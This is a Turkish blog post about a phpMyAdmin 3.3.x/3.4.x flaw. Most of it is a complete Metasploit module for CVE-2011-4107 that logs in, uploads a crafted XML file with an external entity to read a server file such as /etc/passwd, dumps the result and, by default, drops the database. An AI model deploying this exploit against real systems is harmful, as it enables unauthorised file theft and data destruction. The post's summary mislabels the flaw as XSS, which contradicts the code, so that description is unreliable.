phpMyAdmin 3.3.x ve 3.4.x Sürümleri Zararlı Kod / Script Gönderme Açığı – LFI Exploit
Murat Kaya
Açığın Özeti:
phpMyAdmin 3.3.x ( 3.3.10.1 sürüm öncesi ) ve 3.4.x 3.4.1 ( sürüm öncesi) içerisinde birden fazla XSS açığı tespit edildi. Açık sayesinde saldırgan HTML kodları ile zararlı web scriptlerini sisteme göndererek tbl_links.inc.php ve tbl_tracking.php dosyalarındaki tetikleme kodlarını istediği şekilde çalıştırabiliyor. Bu şekilde sistem üzerinde zararlı scriptleri aktif hale getirebiliyor.
Bildirilen açığıa göre kullanıcının phpMyAdmin’e MySQL üzerindne giriş yapmış olması gerekiyor.
Benzeri bir bildiri Ulusal Açıklık Veritabanında da yayınlanmış fakat oradaki açıklamasında Local File Injection ( XML Injection) olarak belirtilmiş.
Etkilenen yazılım Sürümleri :
phpmyadmin:3.3.0.0
phpmyadmin:3.3.1.0
phpmyadmin:3.3.2.0
phpmyadmin:3.3.3.0
phpmyadmin:3.3.4.0
phpmyadmin:3.3.5.0
phpmyadmin:3.3.5.1
phpmyadmin:3.3.6
phpmyadmin:3.3.7
phpmyadmin:3.3.8
phpmyadmin:3.3.8.1
phpmyadmin:3.3.9.0
phpmyadmin:3.3.9.1
phpmyadmin:3.3.9.2
phpmyadmin:3.3.10.0
phpmyadmin:3.4.0.0
Açık Kodu :
# Exploit Title: poc-phpmyadmin-local-file-inclusion-via-xxe-injection
# Date: 12-01-2012
# Author: Marco Batista
# Blog Link: http://www.secforce.com/blog/2012/01/cve-2011-4107-poc-phpmyadmin-local-file-inclusion-via-xxe-injection/
# Tested on: Windows and Linux - phpmyadmin versions: 3.3.6, 3.3.10, 3.4.0, 3.4.5, 3.4.7
# CVE : CVE-2011-4107
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection',
'Version' => '1.0',
'Description' => %q{Importing a specially-crafted XML file which contains an XML entity injection permits to retrieve a local file (limited by the privileges of the user running the web server).
The attacker must be logged in to MySQL via phpMyAdmin.
Works on Windows and Linux Versions 3.3.X and 3.4.X},
'References' =>
[
[ 'CVE', '2011-4107' ],
[ 'OSVDB', '76798' ],
[ 'BID', '50497' ],
[ 'URL', 'http://secforce.com/research/'],
],
'Author' => [ 'Marco Batista' ],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(80),
OptString.new('FILE', [ true, "File to read", '/etc/passwd']),
OptString.new('USER', [ true, "Username", 'root']),
OptString.new('PASS', [ false, "Password", 'password']),
OptString.new('DB', [ true, "Database to use/create", 'hddaccess']),
OptString.new('TBL', [ true, "Table to use/create and read the file to", 'files']),
OptString.new('APP', [ true, "Location for phpMyAdmin URL", '/phpmyadmin']),
OptString.new('DROP', [ true, "Drop database after reading file?", 'true']),
],self.class)
end
def loginprocess
# HTTP GET TO GET SESSION VALUES
getresponse = send_request_cgi({
'uri' => datastore['APP']+'/index.php',
'method' => 'GET',
'version' => '1.1',
}, 25)
if (getresponse.nil?)
print_error("no response for #{ip}:#{rport}")
elsif (getresponse.code == 200)
print_status("Received #{getresponse.code} from #{rhost}:#{rport}")
elsif (getresponse and getresponse.code == 302 or getresponse.code == 301)
print_status("Received 302 to #{getresponse.headers['Location']}")
else
print_error("Received #{getresponse.code} from #{rhost}:#{rport}")
end
valuesget = getresponse.headers["Set-Cookie"]
varsget = valuesget.split(" ")
#GETTING THE VARIABLES NEEDED
phpMyAdmin = varsget.grep(/phpMyAdmin/).last
pma_mcrypt_iv = varsget.grep(/pma_mcrypt_iv/).last
# END HTTP GET
# LOGIN POST REQUEST TO GET COOKIE VALUE
postresponse = send_request_cgi({
'uri' => datastore['APP']+'/index.php',
'method' => 'POST',
'version' => '1.1',
'headers' =>{
'Content-Type' => 'application/x-www-form-urlencoded',
'Cookie' => "#{pma_mcrypt_iv} #{phpMyAdmin}"
},
'data' => 'pma_username='+datastore['USER']+'&pma_password='+datastore['PASS']+'&server=1'
}, 25)
if (postresponse["Location"].nil?)
print_status("TESTING#{postresponse.body.split("'").grep(/token/).first.split("=").last}")
tokenvalue = postresponse.body.split("'").grep(/token/).first.split("=").last
else
tokenvalue = postresponse["Location"].split("&").grep(/token/).last.split("=").last
end
valuespost = postresponse.headers["Set-Cookie"]
varspost = valuespost.split(" ")
#GETTING THE VARIABLES NEEDED
pmaUser = varspost.grep(/pmaUser-1/).last
pmaPass = varspost.grep(/pmaPass-1/).last
return "#{pma_mcrypt_iv} #{phpMyAdmin} #{pmaUser} #{pmaPass}",tokenvalue
# END OF LOGIN POST REQUEST
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =>e
print_error(e.message)
rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =>e
print_error(e.message)
end
def readfile(cookie,tokenvalue)
#READFILE TROUGH EXPORT FUNCTION IN PHPMYADMIN
getfiles = send_request_cgi({
'uri' => datastore['APP']+'/export.php',
'method' => 'POST',
'version' => '1.1',
'headers' =>{
'Cookie' => cookie
},
'data' => 'db='+datastore['DB']+'&table='+datastore['TBL']+'&token='+tokenvalue+'&single_table=TRUE&export_type=table&sql_query=SELECT+*+FROM+%60files%60&what=texytext&texytext_structure=something&texytext_data=something&texytext_null=NULL&asfile=sendit&allrows=1&codegen_structure_or_data=data&texytext_structure_or_data=structure_and_data&yaml_structure_or_data=data'
}, 25)
if (getfiles.body.split("\n").grep(/== Dumping data for table/).empty?)
print_error("Error reading the file... not enough privilege? login error?")
else
print_status("#{getfiles.body}")
end
end
def dropdatabase(cookie,tokenvalue)
dropdb = send_request_cgi({
'uri' => datastore['APP']+'/sql.php?sql_query=DROP+DATABASE+%60'+datastore['DB']+'%60&back=db_operations.php&goto=main.php&purge=1&token='+tokenvalue+'&is_js_confirmed=1&ajax_request=false',
'method' => 'GET',
'version' => '1.1',
'headers' =>{
'Cookie' => cookie
},
}, 25)
print_status("Dropping database: "+datastore['DB'])
end
def run
cookie,tokenvalue = loginprocess()
print_status("Login at #{datastore['RHOST']}:#{datastore['RPORT']}#{datastore['APP']} using #{datastore['USER']}:#{datastore['PASS']}")
craftedXML = "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"token\"\n\n"
craftedXML << tokenvalue+"\n"
craftedXML << "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"import_type\"\n\n"
craftedXML << "server\n"
craftedXML << "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"import_file\"; filename=\"exploit.xml\"\n"
craftedXML << "Content-Type: text/xml\n\n"
craftedXML << "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"
craftedXML << "<!DOCTYPE ficheiro [ \n"
craftedXML << " <!ENTITY conteudo SYSTEM \"file:///#{datastore['FILE']}\" >]>\n"
craftedXML << "<pma_xml_export version=\"1.0\" xmlns:pma=\"http://www.phpmyadmin.net/some_doc_url/\">\n"
craftedXML << " <pma:structure_schemas>\n"
craftedXML << " <pma:database name=\""+datastore['DB']+"\" collation=\"utf8_general_ci\" charset=\"utf8\">\n"
craftedXML << " <pma:table name=\""+datastore['TBL']+"\">\n"
craftedXML << " CREATE TABLE `"+datastore['TBL']+"` (`file` varchar(20000) NOT NULL);\n"
craftedXML << " </pma:table>\n"
craftedXML << " </pma:database>\n"
craftedXML << " </pma:structure_schemas>\n"
craftedXML << " <database name=\""+datastore['DB']+"\">\n"
craftedXML << " <table name=\""+datastore['TBL']+"\">\n"
craftedXML << " <column name=\"file\">&conteudo;</column>\n"
craftedXML << " </table>\n"
craftedXML << " </database>\n"
craftedXML << "</pma_xml_export>\n\n"
craftedXML << "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"format\"\n\n"
craftedXML << "xml\n"
craftedXML << "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"csv_terminated\"\n\n"
craftedXML << ",\n\n"
craftedXML << "------WebKitFormBoundary3XPL01T--"
print_status("Grabbing that #{datastore['FILE']} you want...")
res = send_request_cgi({
'uri' => datastore['APP']+'/import.php',
'method' => 'POST',
'version' => '1.1',
'headers' =>{
'Content-Type' => 'multipart/form-data; boundary=----WebKitFormBoundary3XPL01T',
'Cookie' => cookie
},
'data' => craftedXML
}, 25)
readfile(cookie,tokenvalue)
if (datastore['DROP'] == "true")
dropdatabase(cookie,tokenvalue)
else
print_status("Database was not dropped: "+datastore['DB'])
end
end
end
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